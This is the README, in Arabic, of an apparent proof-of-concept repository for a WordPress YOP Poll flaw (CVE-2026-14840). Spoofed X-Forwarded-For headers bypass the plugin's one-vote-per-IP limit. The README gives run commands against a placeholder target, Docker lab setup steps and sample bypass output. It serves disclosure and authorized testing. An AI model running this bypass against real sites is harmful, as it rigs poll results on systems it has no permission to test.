
استغلال إثبات المفهوم لتجاوز حد التصويت في إضافة ووردبريس باستخدام ترويسات X-Forwarded-For المزوّرة؛ يُرفق مختبر Docker للتحقق من CVE-2026-14840 على مواقع ووردبريس المصرّح بها.
المؤلف: nullwhisper
حالة الاستخدام: بحث أمني مصرح به / التحقق من الثغرات فقط.
إصدارات إضافة YOP Poll الأقدم من 7.0.6 تفرض حدًا للتصويت بصوت واحد لكل IP. المشكلة أنها، للحصول على IP العميل، تفحص HTTP_CLIENT_IP و HTTP_X_FORWARDED_FOR قبل REMOTE_ADDR. كلا الترويسين يتحكم فيهما المهاجم، لذا يمكن لمستخدم غير مصادق تزوير IP جديد في كل طلب والإدلاء بعدد غير محدود من الأصوات.
.
├── cve_2026_14840_poc.py # Main PoC
│ ├── docker-compose.yml # WordPress lab
│ └── setup.php # Creates a poll + public test page
├── requirements.txt
└── README.md
pip3 install -r requirements.txt
python3 cve_2026_14840_poc.py -u https://target.com/page-with-poll -n 10
-n هو عدد الأصوات التي سيتم الإدلاء بها. إذا تم قبول أكثر من صوت واحد، فإن الهدف عرضة للثغرة.
يقوم السكربت تلقائيًا بالرجوع إلى ?rest_route=/yop-poll/v1/votes عندما يستخدم الموقع الروابط الدائمة العادية في WordPress ويعيد /wp-json/... محتوى HTML.
قم بتنزيل الإضافة المعرضة للثغرة (لا تعِد توزيع الملف الثنائي للإضافة):
mkdir -p lab/yop-poll
cd lab/yop-poll
wget https://downloads.wordpress.org/plugin/yop-poll.7.0.5.zip
unzip yop-poll.7.0.5.zip && rm yop-poll.7.0.5.zip
cd ../..
شغّل المختبر:
cd lab
docker compose up -d
أكمل عملية تثبيت WordPress على الرابط http://127.0.0.1:8090.
أنشئ الاستطلاع وصفحة الاختبار:
docker exec -i lab-wpcli-1 php /tmp/setup.php
شغّل الـ PoC:
python3 cve_2026_14840_poc.py -u 'http://127.0.0.1:8090/?page_id=4' -n 5
تم الاختبار على WordPress 6.8 + YOP Poll 7.0.5 مع الروابط الدائمة العادية الافتراضية.
نفس IP ثلاث مرات — الحد يعمل:
#1 201 -> Vote recorded successfully.
#2 403 -> You have already voted on this poll.
#3 403 -> You have already voted on this poll.
IP مختلف في كل طلب عبر X-Forwarded-For — التجاوز يعمل:
#1 201 -> Vote recorded successfully.
#2 201 -> Vote recorded successfully.
#3 201 -> Vote recorded successfully.
ينمو جدول wp_yoppoll_votes بمقدار صف واحد لكل IP مزور، مما يؤكد تجاوز الحد المفروض لكل IP.
يحتوي هذا المستودع على ملفات الـ PoC وملفات تنسيق المختبر فقط. إضافة YOP Poll مرخصة بموجب GPL-2.0+، لكن توزيع نسخة كاملة منها غير ضروري، ويضخّم المستودع، وقد يسبب مشاكل. نزّل الإصدار 7.0.5 من WordPress.org لمختبرك الخاص.
هذه الأداة مخصصة لاختبار الأمان والبحث المصرح بهما فقط. لا تستخدمها ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن إساءة الاستخدام أو الأضرار الناجمة عن هذا الكود.